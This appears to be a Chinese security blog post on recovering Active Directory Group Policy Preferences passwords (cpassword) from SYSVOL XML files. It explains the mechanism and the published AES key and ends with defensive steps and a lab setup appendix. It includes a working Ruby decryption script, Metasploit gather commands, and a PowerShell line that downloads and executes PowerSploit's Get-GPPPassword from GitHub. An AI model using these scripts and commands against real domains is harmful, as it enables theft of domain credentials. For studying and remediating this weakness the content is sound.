• 获取AD域中SYSVOL和组策略首选项中的密码


           这种方法是最简单的,因为不需要特殊的“黑客”工具。所有的攻击必须做的是打开Windows资源管理器,并搜索域名为SYSVOL DFS共享的XML文件。在大多数情况下,以下XML文件将包含凭据:groups.xml,scheduledtasks.xml和&Services.xml,Printers.xml ,Drives.xml.

    SYSVOL是所有经过身份验证的用户具有读访问权限的Active Directory中的域范围共享

    SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。

    SYSVOL包含登录脚本,组策略数据以及需要在任何有域控制器的任何地方可用的其他域范围数据(因为SYSVOL在所有域控制器之间自动同步并共享)。所有域组策略都存储在这里:\ <DOMAIN> SYSVOL <DOMAIN> Policies

    注意:C:WindowsSYSVOL目录下,只有创建组策略脚本登录才能有策略脚本配置文件groups.xml,默认是没有的

     

         当创建新的GPP时,在SYSVOL中创建了一个与相关配置数据相关联的XML文件,如果提供了密码,那么AES-256位加密应该足够强的。

    用于加密任何域中的所有组策略首选项密码的32字节AES密钥:

    https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx#endNote2

    4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8

    f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

     

        由于经过身份验证的用户(任何域用户或受信任域中的用户)都具有对SYSVOL的读取权限,所以域中的任何人都可以搜索包含“cpassword”的XML文件的SYSVOL共享,该文件是包含AES加密密码的值

    通过ruby脚本进行解密:

    require 'rubygems'
    
    require 'openssl'
    
    require 'base64'
    
    encrypted_data = " v0hX9w3D40aFkfgtPgcz1yWPcjp+BqICihQlATkp50g "
    
    def decrypt(encrypted_data)
    
      padding = "=" * (4 - (encrypted_data.length % 4))
    
      epassword = "#{encrypted_data}#{padding}"
    
      decoded = Base64.decode64(epassword)
    
       key = "x4ex99x06xe8xfcxb6x6cxc9xfaxf4x93x10x62x0fxfexe8xf4x96xe8x06xccx05x79x90x20x9bx09xa4x33xb6x6cx1b"
    
      aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
    
      aes.decrypt
    
      aes.key = key
    
      plaintext = aes.update(decoded)
    
      plaintext << aes.final
    
      pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
    
       return pass
    
     end
    
    blah = decrypt(encrypted_data)
    
    puts blah

    use:  ruby  gpp,.rb

     

    posershell脚本获取GPP密码:

    powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPas
    sword.ps1');Get-GPPPassword
    "
    powershell  import-modulo  .Get-GPPpassword.ps1;Get-GppPassword

    MSF下的GGP解密:

    msf > use post/windows/gather/credentials/gpp
    
    msf >post(gpp) > sessions
    
    msf >post(gpp) > set SESSION  1
    
    msf> post(gpp) > show options
    
    msf >post(gpp) > run

    防御方法:

    • 在每台电脑上都安装上KB2962486补丁,可以防止新的用户凭证被放到组策略配置文件当中。
    • 删除SYSVOL目录中包含密码的GPP xml文件。
    • 不要把密码放在所有认证用户都有权访问的文件当中

    附录:

    gpp组策略搭建:

    让我们看一个例子,说明通过组策略定义本地用户登录。它从创建和编辑组策略对象开始:

     

     

    在域组织中的组策略对象中创建一个登录账号脚本策略:名称为:

    gpp_local_login:

     

    选择新建的组策略gpp_local_login然后编辑:

     

     

    用户配置---控制面板设置---本地用户和组--新建-本地用户中添加一个脚本登录。

     

     

    可以看到域控制器行创建了本地组策略的文件:

     

     

    通过网络共享可以访问到GPP的组策略的文件:

    \bk.comSYSVOLk.comPolicies{CE710A28-3FB8-4365-B356-41A30B5E9014}UserPreferencesGroupsgpoups.xml

     

     

    打开可以看到存储的cpasword密码:

  • 相关阅读:
    Mysql有什么办法解决主备延迟的引起的过期读问题?
    jdk 8 交集 差集
    【立flag】_(:з」∠)_
    Linux基础01 虚拟机安装操作系统,网络类型(网口),网段, 分区,分配网络, KDUMP,网络配置, 快照, 克隆, Xshell优化, Linux历史
    oracle(enquences & latches )lock (oracle 锁大全)
    oracle 密码详解以及破解
    oracle 大表在线删除列操作(alter table table_name set unused )
    MacOs 使用 github 个人令牌(Personal access token)
    web网站在线安全扫描
    vue 实现快捷键录入功能
  • 原文地址:https://www.cnblogs.com/backlion/p/6927322.html
Copyright © 2020-2023  润新知